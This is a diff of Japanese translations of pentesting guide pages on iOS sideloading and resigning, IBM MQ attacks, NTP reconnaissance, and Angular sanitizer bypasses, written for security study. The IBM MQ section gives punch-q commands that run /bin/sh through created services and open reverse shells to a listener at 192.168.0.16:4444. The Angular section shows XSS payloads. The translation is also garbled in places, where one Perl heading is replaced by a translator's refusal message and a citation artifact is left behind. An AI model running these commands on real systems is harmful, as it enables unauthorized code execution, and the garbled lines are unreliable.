@ -17,15 +17,15 @@
|
||||
1. ペンテストするアプリをiPhoneにインストールします。
|
||||
2. macOS内で[Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)をインストールして起動します。
|
||||
3. Macの`Terminal`を開き、`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`にcdします。後でこのフォルダにIPAが表示されます。
|
||||
4. あなたのiOSデバイスが表示されるはずです。それをダブルクリックし、上部メニューバーからAdd + → Appsをクリックします。
|
||||
4. iOSデバイスが表示されるはずです。ダブルクリックして、上部メニューバーからAdd + → Appsをクリックします。
|
||||
5. Addをクリックすると、ConfiguratorがAppleからIPAをダウンロードし、デバイスにプッシュしようとします。前に私の推奨に従ってIPAをすでにインストールしている場合、アプリを再インストールするように求めるプロンプトが表示されます。
|
||||
6. IPAは `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` 内にダウンロードされ、そこから取得できます。
|
||||
6. IPAは`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`内にダウンロードされ、そこから取得できます。
|
||||
|
||||
このプロセスに関する詳細情報は[https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)を確認してください。
|
||||
|
||||
### Decrypting the app
|
||||
|
||||
IPAを復号化するために、インストールします。ただし、古い脱獄iPhoneを持っている場合、アプリケーションがサポートするのは通常最新のバージョンのみであるため、サポートされない可能性があります。
|
||||
IPAを復号化するために、インストールします。ただし、古い脱獄iPhoneを持っている場合、アプリケーションがサポートするのは通常最新のバージョンのみであるため、バージョンがサポートされない可能性があります。
|
||||
|
||||
したがって、インストールするには、IPAを解凍するだけです:
|
||||
```bash
|
||||
@ -38,7 +38,7 @@ IPAを再圧縮します:
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
```
|
||||
次に、例えば次のコマンドでIPAをインストールします:
|
||||
次に、例えば以下のコマンドでIPAをインストールします:
|
||||
```bash
|
||||
ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
@ -46,42 +46,42 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
|
||||
インストールが完了したら、Cydia から **Iridium tweak** を使用して復号化された IPA を取得できます。
|
||||
|
||||
### 権限のパッチと再署名
|
||||
### エンタイトルメントのパッチと再署名
|
||||
|
||||
`get-task-allow` 権限でアプリケーションを再署名するために、`app-signer`、`codesign`、および `iResign` のようなツールがいくつか利用可能です。`app-signer` は非常にユーザーフレンドリーなインターフェースを持ち、再署名する IPA ファイルを指定し、**`get-task-allow` を設定し**、使用する証明書とプロビジョニングプロファイルを指定することができます。
|
||||
`get-task-allow` エンタイトルメントでアプリケーションを再署名するために、`app-signer`、`codesign`、および `iResign` のようなツールがいくつか利用可能です。`app-signer` は非常にユーザーフレンドリーなインターフェースを持ち、再署名する IPA ファイルを指定し、**`get-task-allow` を設定し**、使用する証明書とプロビジョニングプロファイルを指定することができます。
|
||||
|
||||
証明書と署名プロファイルに関しては、Apple は Xcode を通じてすべてのアカウントに **無料の開発者署名プロファイル** を提供しています。アプリを作成し、1つを設定してください。その後、`Settings` → `Privacy & Security` に移動し、`Developer Mode` をクリックして **iPhone に開発者アプリを信頼させる** ように設定します。
|
||||
|
||||
再署名された IPA を使用して、デバイスにインストールしてペンテストを行う準備が整いました。
|
||||
再署名された IPA を使用して、デバイスにインストールしてペンテストを行う準備が整いました:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
---
|
||||
|
||||
### 開発者モードを有効にする (iOS 16+)
|
||||
### Developer Modeを有効にする (iOS 16+)
|
||||
|
||||
iOS 16以降、Appleは**開発者モード**を導入しました。`get_task_allow`を持つバイナリまたは開発証明書で署名されたバイナリは、デバイスで開発者モードが有効になるまで起動を拒否します。このフラグがオンでない限り、Frida/LLDBをアタッチすることもできません。
|
||||
iOS 16以降、Appleは**Developer Mode**を導入しました。`get_task_allow`を持つバイナリ*または*開発証明書で署名されたバイナリは、デバイスでDeveloper Modeが有効になるまで起動を拒否します。このフラグがオンでない限り、Frida/LLDBをアタッチすることもできません。
|
||||
|
||||
1. **任意の**開発者署名されたIPAを電話にインストールまたはプッシュします。
|
||||
2. **設定 → プライバシーとセキュリティ → 開発者モード**に移動し、オンに切り替えます。
|
||||
3. デバイスが再起動します。パスコードを入力した後、**開発者モードをオンにする**ように求められます。
|
||||
2. **設定 → プライバシーとセキュリティ → Developer Mode**に移動し、オンに切り替えます。
|
||||
3. デバイスが再起動します。パスコードを入力した後、Developer Modeを**オンにする**ように求められます。
|
||||
|
||||
開発者モードは、無効にするか電話を初期化するまでアクティブのままですので、このステップはデバイスごとに一度だけ実行する必要があります。[Appleのドキュメント](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)がセキュリティの影響を説明しています。
|
||||
Developer Modeは、無効にするか電話を初期化するまでアクティブなままですので、このステップはデバイスごとに一度だけ実行する必要があります。[Appleのドキュメント](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)がセキュリティの影響を説明しています。
|
||||
|
||||
### 現代のサイドロードオプション
|
||||
|
||||
現在、脱獄なしでIPAをサイドロードし、再署名を最新の状態に保つための成熟した方法がいくつかあります:
|
||||
現在、脱獄なしでサイドロードし、再署名されたIPAを最新の状態に保つための成熟した方法がいくつかあります:
|
||||
|
||||
| ツール | 要件 | 強み | 制限 |
|
||||
|------|--------------|-----------|-------------|
|
||||
| **AltStore 2 / SideStore** | 7日ごとに無料の開発プロファイルでIPAを再署名するmacOS/Windows/Linuxのコンパニオン | Wi-Fi経由の自動リロード、iOS 17まで動作 | 同じネットワーク上にコンピュータが必要、Appleによる3アプリ制限 |
|
||||
| **AltStore 2 / SideStore** | IPAを7日ごとに無料の開発プロファイルで再署名するmacOS/Windows/Linuxのコンパニオン | Wi-Fi経由の自動リロード、iOS 17まで動作 | 同じネットワーク上にコンピュータが必要、Appleによる3アプリ制限 |
|
||||
| **TrollStore 1/2** | CoreTrustバグに脆弱なiOS 14 – 15.4.1のデバイス | *永久的*な署名(7日制限なし);インストール後はコンピュータ不要 | iOS 15.5+ではサポートされていない(バグが修正された) |
|
||||
|
||||
現在のiOSバージョンでのルーチンのペンテストには、Alt/Side-Storeが通常最も実用的な選択です。
|
||||
現在のiOSバージョンでのルーチンなペンテストには、Alt/Side-Storeが通常最も実用的な選択肢です。
|
||||
|
||||
### フック / 動的インスツルメンテーション
|
||||
|
||||
`get_task_allow`で署名され、開発者モードがオンであれば、脱獄デバイスと同様にアプリをフックできます:
|
||||
`get_task_allow`で署名され、Developer Modeがオンであれば、脱獄デバイスと同様にアプリをフックできます:
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
||||
|
||||
### Jailbreakなしの自動動的分析(MobSF)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)は、実際のデバイス上で同じ技術(`get_task_allow`)を使用して、開発者署名されたIPAをインストゥルメント化でき、ファイルシステムブラウザ、トラフィックキャプチャ、Fridaコンソールを備えたWeb UIを提供します【turn6view0†L2-L3】。最も簡単な方法は、DockerでMobSFを実行し、USB経由でiPhoneを接続することです:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)は、実際のデバイス上でdevサインされたIPAを同じ技術(`get_task_allow`)を使用してインスツルメントし、ファイルシステムブラウザ、トラフィックキャプチャ、Fridaコンソールを備えたWeb UIを提供します【】。最も簡単な方法は、DockerでMobSFを実行し、USB経由でiPhoneを接続することです:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
|
@ -6,11 +6,9 @@
|
||||
|
||||
IBM MQは、メッセージキューを管理するためのIBMの技術です。他の**メッセージブローカー**技術と同様に、プロデューサーとコンシューマー間で情報を受信、保存、処理、分類することに特化しています。
|
||||
|
||||
デフォルトでは、**IBM MQのTCPポート1414を公開しています**。
|
||||
時には、HTTP REST APIがポート**9443**で公開されることがあります。
|
||||
メトリクス(Prometheus)はTCPポート**9157**からもアクセス可能です。
|
||||
デフォルトでは、**IBM MQ TCPポート1414を公開します**。時には、HTTP REST APIがポート**9443**で公開されることがあります。メトリクス(Prometheus)はTCPポート**9157**からもアクセス可能です。
|
||||
|
||||
IBM MQのTCPポート1414は、メッセージ、キュー、チャネルを操作するために使用できますが、**インスタンスを制御するためにも使用できます**。
|
||||
IBM MQ TCPポート1414は、メッセージ、キュー、チャネルを操作するために使用できますが、**インスタンスを制御するためにも使用できます**。
|
||||
|
||||
IBMは、[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)で利用可能な大規模な技術文書を提供しています。
|
||||
|
||||
@ -29,7 +27,7 @@ IBMは、[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq
|
||||
3. 解凍します(`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。
|
||||
4. `sudo ./mqlicense.sh`を実行してライセンス条項に同意します。
|
||||
|
||||
> Kali Linuxを使用している場合は、ファイル`mqlicense.sh`を修正します:次の行を削除またはコメントアウトします(105-110行の間):
|
||||
> Kali Linuxを使用している場合は、ファイル`mqlicense.sh`を修正します:次の行(105-110行目の間)を削除またはコメントアウトします:
|
||||
>
|
||||
> ```bash
|
||||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
@ -64,11 +62,11 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_
|
||||
|
||||
## 列挙
|
||||
|
||||
**punch-q**または**pymqi**を使用して、**キュー管理者名、ユーザー、チャネル、およびキュー**を列挙することができます。
|
||||
**punch-q**または**pymqi**を使用して、**キュー・マネージャー名、ユーザー、チャネル、キュー**を列挙することができます。
|
||||
|
||||
### キュー管理者
|
||||
### キュー・マネージャー
|
||||
|
||||
時々、キュー管理者名を取得するための保護がありません:
|
||||
時々、キュー・マネージャー名を取得することに対する保護がありません:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||||
Queue Manager name: MYQUEUEMGR
|
||||
@ -123,7 +121,7 @@ logging.info('Found channel `%s`' % channel_name)
|
||||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
... しかし、**punch-q** もその部分を埋め込んでいます(さらに詳しい情報があります!)。
|
||||
... しかし、**punch-q** もその部分を埋め込んでいます(さらに詳しい情報があります!)。
|
||||
次のコマンドで起動できます:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
@ -173,7 +171,7 @@ Showing queues with prefix: "*"...
|
||||
|
||||
### メッセージのダンプ
|
||||
|
||||
キューやチャネルをターゲットにして、そこからメッセージをスニッフィングまたはダンプすることができます(非破壊的操作)。_例:_
|
||||
キューやチャネルをターゲットにして、そこからメッセージをスニッフィングまたはダンプすることができます(非破壊的操作)。 _例:_
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||||
```
|
||||
@ -185,21 +183,21 @@ Showing queues with prefix: "*"...
|
||||
|
||||
### コード実行
|
||||
|
||||
> 続行する前にいくつかの詳細: IBM MQは複数の方法で制御できます: MQSC、PCF、Control Command。一般的なリストは[IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)で見つけることができます。
|
||||
> 続行する前にいくつかの詳細: IBM MQは、MQSC、PCF、Control Commandなど複数の方法で制御できます。一般的なリストは[IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)で見つけることができます。
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_プログラム可能コマンド形式_**)は、インスタンスとリモートで対話するために私たちが注目しているものです。**punch-q**およびさらに**pymqi**はPCFインタラクションに基づいています。
|
||||
>
|
||||
> PCFコマンドのリストは次のとおりです:
|
||||
> PCFコマンドのリストを見つけることができます:
|
||||
>
|
||||
> - [PCF documentationから](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats)、および
|
||||
> - [constantsから](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
|
||||
>
|
||||
> 興味深いコマンドは`MQCMD_CREATE_SERVICE`で、そのドキュメントは[こちら](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)で入手できます。引数としてローカルプログラムを指す`StartCommand`を取ります(例: `/bin/sh`)。
|
||||
> 興味深いコマンドは`MQCMD_CREATE_SERVICE`で、そのドキュメントは[こちら](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)で入手できます。これは、インスタンス上のローカルプログラムを指す`StartCommand`を引数として取ります(例: `/bin/sh`)。
|
||||
>
|
||||
> ドキュメントにはコマンドの警告もあります: _"注意: このコマンドはユーザーがmqm権限で任意のコマンドを実行することを許可します。このコマンドを使用する権利が与えられた場合、悪意のあるまたは不注意なユーザーがシステムやデータを損なうサービスを定義する可能性があります。たとえば、重要なファイルを削除することによって。"_
|
||||
> ドキュメントにはコマンドの警告もあります: _"注意: このコマンドはユーザーにmqm権限で任意のコマンドを実行させることを許可します。このコマンドを使用する権利が与えられた場合、悪意のあるまたは不注意なユーザーが、重要なファイルを削除するなど、システムやデータに損害を与えるサービスを定義する可能性があります。"_
|
||||
>
|
||||
> _注: IBM MQ documentation (Administration Reference) によると、サービス作成のためのMQSCコマンド(`DEFINE SERVICE`)を実行するためのHTTPエンドポイントが`/admin/action/qmgr/{qmgrName}/mqsc`にもあります。この側面はまだここではカバーされていません。_
|
||||
> _注: IBM MQ documentation (Administration Reference)によると、サービス作成のための同等のMQSCコマンド(`DEFINE SERVICE`)を実行するためのHTTPエンドポイントが`/admin/action/qmgr/{qmgrName}/mqsc`にもあります。この側面はまだここではカバーされていません。_
|
||||
|
||||
リモートプログラム実行のためのPCFによるサービスの作成/削除は**punch-q**によって行うことができます:
|
||||
PCFを使用したリモートプログラム実行のためのサービス作成/削除は**punch-q**によって行うことができます:
|
||||
|
||||
**例 1**
|
||||
```bash
|
||||
@ -241,7 +239,7 @@ bashの場合:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
Perlについて:
|
||||
申し訳ありませんが、具体的な内容が提供されていないため、翻訳を行うことができません。翻訳が必要なテキストを提供してください。
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
@ -332,4 +330,4 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
- [MQジャンピング - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -14,7 +14,7 @@
|
||||
- 認証付きの信頼できるNTPまたはNTS(ネットワーク時間セキュリティ)ソースを使用する。
|
||||
- デーモンにクエリ/コマンドを送信できるユーザーを制限する(``restrict default noquery``, ``kod`` など)。
|
||||
- レガシーのモード6/7制御クエリ(``monlist``, ``ntpdc``)を無効にするか、レート制限をかける。
|
||||
- 改ざんのために同期のドリフト/リープ秒状態を監視する。
|
||||
- 同期のドリフト/リープセカンド状態を監視して改ざんを検出する。
|
||||
- デーモンを最新の状態に保つ(下記の最近のCVEを参照)。
|
||||
|
||||
**デフォルトポート**
|
||||
@ -51,7 +51,7 @@ chronyc -a -n tracking -h <IP>
|
||||
chronyc -a -n sources -v -h <IP>
|
||||
chronyc -a -n sourcestats -h <IP>
|
||||
```
|
||||
**M/S** フラグやその他のフィールド(ストラタム、リーチ、ジッターなど)の意味については、chronycのマニュアルページを参照してください。
|
||||
**M/S** フラグや他のフィールド(ストラタム、リーチ、ジッターなど)の意味については、chronycのマニュアルページを参照してください。
|
||||
|
||||
### Nmap
|
||||
```bash
|
||||
@ -61,7 +61,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
||||
# Explicit monlist check
|
||||
nmap -sU -p123 --script ntp-monlist <IP>
|
||||
```
|
||||
### 大規模/インターネットスキャンニング
|
||||
### 大規模/インターネットスキャン
|
||||
```bash
|
||||
# Check if MONLIST is enabled (zgrab2 module)
|
||||
zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv"
|
||||
@ -85,7 +85,7 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
||||
| 2024 | ディストリビューションの更新 | **chrony 4.4 / 4.5** – 複数のセキュリティ強化 & NTS-KE 修正 (例: SUSE-RU-2024:2022) |
|
||||
| 2024 | 記録的 DDoS | Cloudflare が **5.6 Tbps UDP リフレクション** 攻撃を報告 (使用されたプロトコルの中に NTP が含まれる)。インターネットに面したホストでは *monitor* & *monlist* を無効にしておく。 |
|
||||
|
||||
> **エクスプロイトキット**: 2023 年の ntpq OOB 書き込みシリーズの概念実証ペイロードは GitHub にあり (Meinberg の記事を参照)、システム管理者のクライアントサイドフィッシングに武器化可能。
|
||||
> **エクスプロイトキット**: 2023 ntpq OOB 書き込みシリーズの概念実証ペイロードは GitHub にあり (Meinberg の記事を参照)、システム管理者のクライアントサイドフィッシングに武器化可能。
|
||||
|
||||
---
|
||||
## 高度な攻撃
|
||||
@ -122,12 +122,12 @@ openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
*オペレーターは次のことを推奨します:*
|
||||
|
||||
1. **≥ 4** の独立した多様な時間ソース(公共プール、GPS、PTPブリッジ)を使用して、単一ソースの汚染を避ける。
|
||||
2. ``kod`` と ``limited``/``nomodify`` 制限を有効にして、悪用するクライアントが完全な応答の代わりに **Kiss-o'-Death** レート制限パケットを受け取るようにする。
|
||||
3. デーモンログを監視して **panic** イベントやステップ調整 > 1000 s を確認する。(RFC 8633 §5.3 による攻撃の兆候。)
|
||||
4. リープ秒の停止を避けるために **leap-smear** を検討するが、*すべての* 下流クライアントが同じスミアウィンドウを使用していることを確認する。
|
||||
5. リープ秒フラグを見逃さないように、ポーリングを ≤24 h に保つ。
|
||||
2. 悪用するクライアントが完全な応答の代わりに**Kiss-o'-Death**レート制限パケットを受け取るように、``kod``および``limited``/``nomodify``制限を有効にする。
|
||||
3. **panic**イベントやステップ調整 > 1000 s のためにデーモンログを監視する。(RFC 8633 §5.3による攻撃の兆候。)
|
||||
4. リープ秒の停止を避けるために**leap-smear**を検討するが、*すべての*下流クライアントが同じスミアウィンドウを使用することを確認する。
|
||||
5. リープ秒フラグを見逃さないように、ポーリングを≤24時間に保つ。
|
||||
|
||||
包括的なチェックリストについては RFC 8633 を参照してください。
|
||||
包括的なチェックリストについてはRFC 8633を参照してください。
|
||||
|
||||
---
|
||||
## Shodan / Censys Dorks
|
||||
@ -176,7 +176,7 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
- NTP 4.2.8p15 CVE シリーズ 2023-04
|
||||
- NVD エントリ **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- SUSE chrony セキュリティアップデート 2024 (chrony 4.5)
|
||||
- Khronos/Chronos ドラフト (時間シフト緩和)
|
||||
- Khronos/Chronos 草案 (時間シフト緩和)
|
||||
- chronyc マニュアル/リモートモニタリング用の例
|
||||
- zgrab2 ntp モジュールドキュメント
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Angular
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## チェックリスト
|
||||
|
||||
@ -20,7 +20,7 @@ Angularは、**Google**によって維持されている**強力な**かつ**オ
|
||||
|
||||
## フレームワークアーキテクチャ
|
||||
|
||||
Angularの基本をよりよく理解するために、その基本的な概念を見ていきましょう。
|
||||
Angularの基本をよりよく理解するために、その重要な概念を見ていきましょう。
|
||||
|
||||
一般的なAngularプロジェクトは通常次のようになります:
|
||||
```bash
|
||||
@ -47,7 +47,7 @@ Angular NgModulesは、アプリケーションドメイン、ワークフロー
|
||||
|
||||
Angular `Router` NgModuleは、アプリケーション内の異なるアプリケーション状態とビュー階層の間でナビゲーションパスを定義できるサービスを提供します。`RouterModule`は`app-routing.module.ts`ファイルで定義されています。
|
||||
|
||||
特定のビューに関連付けられていないデータやロジックを共有したい場合は、サービスクラスを作成します。サービスクラスの定義は、`@Injectable()`デコレーターによって直前に示されます。このデコレーターは、他のプロバイダーを依存関係としてクラスに注入できるようにするメタデータを提供します。依存性注入(DI)により、コンポーネントクラスをスリムで効率的に保つことができます。これらはサーバーからデータを取得したり、ユーザー入力を検証したり、コンソールに直接ログを記録したりすることはなく、そのようなタスクをサービスに委任します。
|
||||
特定のビューに関連付けられていないデータやロジックを共有したい場合は、サービスクラスを作成します。サービスクラスの定義は、`@Injectable()`デコレーターによって直前に示されます。このデコレーターは、他のプロバイダーを依存関係としてクラスに注入できるようにするメタデータを提供します。依存性注入(DI)により、コンポーネントクラスをスリムで効率的に保つことができます。コンポーネントはサーバーからデータを取得したり、ユーザー入力を検証したり、コンソールに直接ログを記録したりすることはなく、そのようなタスクをサービスに委任します。
|
||||
|
||||
## Sourcemap configuration
|
||||
|
||||
@ -60,9 +60,9 @@ Angularフレームワークは、`tsconfig.json`オプションに従ってType
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
一般的に、sourcemapファイルはデバッグ目的で使用され、生成されたファイルを元のファイルにマッピングします。したがって、プロダクション環境での使用は推奨されません。sourcemapsが有効になっている場合、Angularプロジェクトの元の状態を再現することで、可読性が向上し、ファイル分析に役立ちます。しかし、無効になっている場合、レビュアーはセキュリティ対策パターンを検索することで、コンパイルされたJavaScriptファイルを手動で分析することができます。
|
||||
一般的に、sourcemapファイルはデバッグ目的で使用され、生成されたファイルを元のファイルにマッピングします。したがって、プロダクション環境での使用は推奨されません。sourcemapsが有効になっている場合、Angularプロジェクトの元の状態を再現することで、可読性が向上し、ファイル分析が容易になります。しかし、無効になっている場合、レビュアーはセキュリティ対策パターンを検索することで、コンパイルされたJavaScriptファイルを手動で分析することができます。
|
||||
|
||||
さらに、AngularプロジェクトのコンパイルされたJavaScriptファイルは、ブラウザの開発者ツール → Sources(または Debugger and Sources) → \[id].main.js にあります。有効なオプションに応じて、このファイルの最後に `//# sourceMappingURL=[id].main.js.map` という行が含まれている場合もあれば、**hidden**オプションが**true**に設定されている場合は含まれていないこともあります。それにもかかわらず、**scripts**のsourcemapが無効になっている場合、テストはより複雑になり、ファイルを取得することはできません。さらに、プロジェクトビルド中に `ng build --source-map` のようにsourcemapを有効にすることができます。
|
||||
さらに、AngularプロジェクトのコンパイルされたJavaScriptファイルは、ブラウザの開発者ツール → Sources(または Debugger and Sources) → \[id].main.js に見つけることができます。有効なオプションに応じて、このファイルの最後に `//# sourceMappingURL=[id].main.js.map` という行が含まれている場合もあれば、**hidden**オプションが**true**に設定されている場合は含まれていないこともあります。それにもかかわらず、**scripts**のsourcemapが無効になっている場合、テストはより複雑になり、ファイルを取得することはできません。さらに、プロジェクトビルド中にsourcemapを有効にすることができます。例えば、`ng build --source-map`のように。
|
||||
|
||||
## データバインディング
|
||||
|
||||
@ -79,10 +79,10 @@ Angularフレームワークは、`tsconfig.json`オプションに従ってType
|
||||
| タイプ | ターゲット | 例 |
|
||||
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| プロパティ | 要素プロパティ、コンポーネントプロパティ、ディレクティブプロパティ | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| イベント | 要素イベント、コンポーネントイベント、ディレクティブイベント | \<button type="button" (click)="onSave()">Save |
|
||||
| イベント | 要素イベント、コンポーネントイベント、ディレクティブイベント | \<button type="button" (click)="onSave()">保存 |
|
||||
| 双方向 | イベントとプロパティ | \<input \[(ngModel)]="name"> |
|
||||
| 属性 | 属性(例外) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| クラス | クラスプロパティ | \<div \[class.special]="isSpecial">Special |
|
||||
| クラス | クラスプロパティ | \<div \[class.special]="isSpecial">特別 |
|
||||
| スタイル | スタイルプロパティ | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
## Angularセキュリティモデル
|
||||
@ -112,34 +112,34 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
結果: `<div><h1>test</h1></div>`
|
||||
|
||||
`SecurityContext` のタイプは6つあります:
|
||||
`SecurityContext`には6種類があります:
|
||||
|
||||
* `None`;
|
||||
* `HTML` は、値をHTMLとして解釈する際に使用されます;
|
||||
* `STYLE` は、CSSを `style` プロパティにバインディングする際に使用されます;
|
||||
* `URL` は、`<a href>` のようなURLプロパティに使用されます;
|
||||
* `SCRIPT` は、JavaScriptコードに使用されます;
|
||||
* `RESOURCE_URL` は、コードとして読み込まれ実行されるURLで、例えば `<script src>` で使用されます。
|
||||
* `HTML`は、値をHTMLとして解釈する際に使用されます;
|
||||
* `STYLE`は、CSSを`style`プロパティにバインディングする際に使用されます;
|
||||
* `URL`は、`<a href>`のようなURLプロパティに使用されます;
|
||||
* `SCRIPT`は、JavaScriptコードに使用されます;
|
||||
* `RESOURCE_URL`は、コードとして読み込まれ実行されるURLで、例えば`<script src>`で使用されます。
|
||||
|
||||
## 脆弱性
|
||||
|
||||
### セキュリティトラストメソッドのバイパス
|
||||
|
||||
Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値が安全に使用できることを示すためのメソッドのリストを導入しています。以下の5つの例があります:
|
||||
Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値が安全に使用できることを示すためのメソッドのリストを導入しています。以下の5つの例のように:
|
||||
|
||||
1. `bypassSecurityTrustUrl` は、指定された値が安全なスタイルURLであることを示すために使用されます:
|
||||
1. `bypassSecurityTrustUrl`は、指定された値が安全なスタイルURLであることを示すために使用されます:
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
|
||||
|
||||
//app.component.html
|
||||
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
|
||||
<a class="e2e-trusted-url" [href]="trustedUrl">クリックしてください</a>
|
||||
|
||||
//result
|
||||
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
|
||||
//結果
|
||||
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">クリックしてください</a>
|
||||
```
|
||||
2. `bypassSecurityTrustResourceUrl` は、指定された値が安全なリソースURLであることを示すために使用されます:
|
||||
2. `bypassSecurityTrustResourceUrl`は、指定された値が安全なリソースURLであることを示すために使用されます:
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -148,23 +148,23 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
|
||||
//app.component.html
|
||||
<iframe [src]="trustedResourceUrl"></iframe>
|
||||
|
||||
//result
|
||||
//結果
|
||||
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
|
||||
```
|
||||
3. `bypassSecurityTrustHtml` は、指定された値が安全なHTMLであることを示すために使用されます。注意すべきは、この方法でDOMツリーに `script` 要素を挿入しても、含まれるJavaScriptコードが実行されることはないということです。
|
||||
3. `bypassSecurityTrustHtml`は、指定された値が安全なHTMLであることを示すために使用されます。注意すべきは、この方法でDOMツリーに`script`要素を挿入しても、含まれているJavaScriptコードが実行されることはないということです。
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
|
||||
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>htmlタグ</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
|
||||
|
||||
//app.component.html
|
||||
<p style="border:solid" [innerHtml]="trustedHtml"></p>
|
||||
|
||||
//result
|
||||
<h1>html tag</h1>
|
||||
//結果
|
||||
<h1>htmlタグ</h1>
|
||||
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
|
||||
```
|
||||
4. `bypassSecurityTrustScript` は、指定された値が安全なJavaScriptであることを示すために使用されます。しかし、このメソッドを使用してテンプレート内でJSコードを実行できなかったため、その動作は予測不可能であることがわかりました。
|
||||
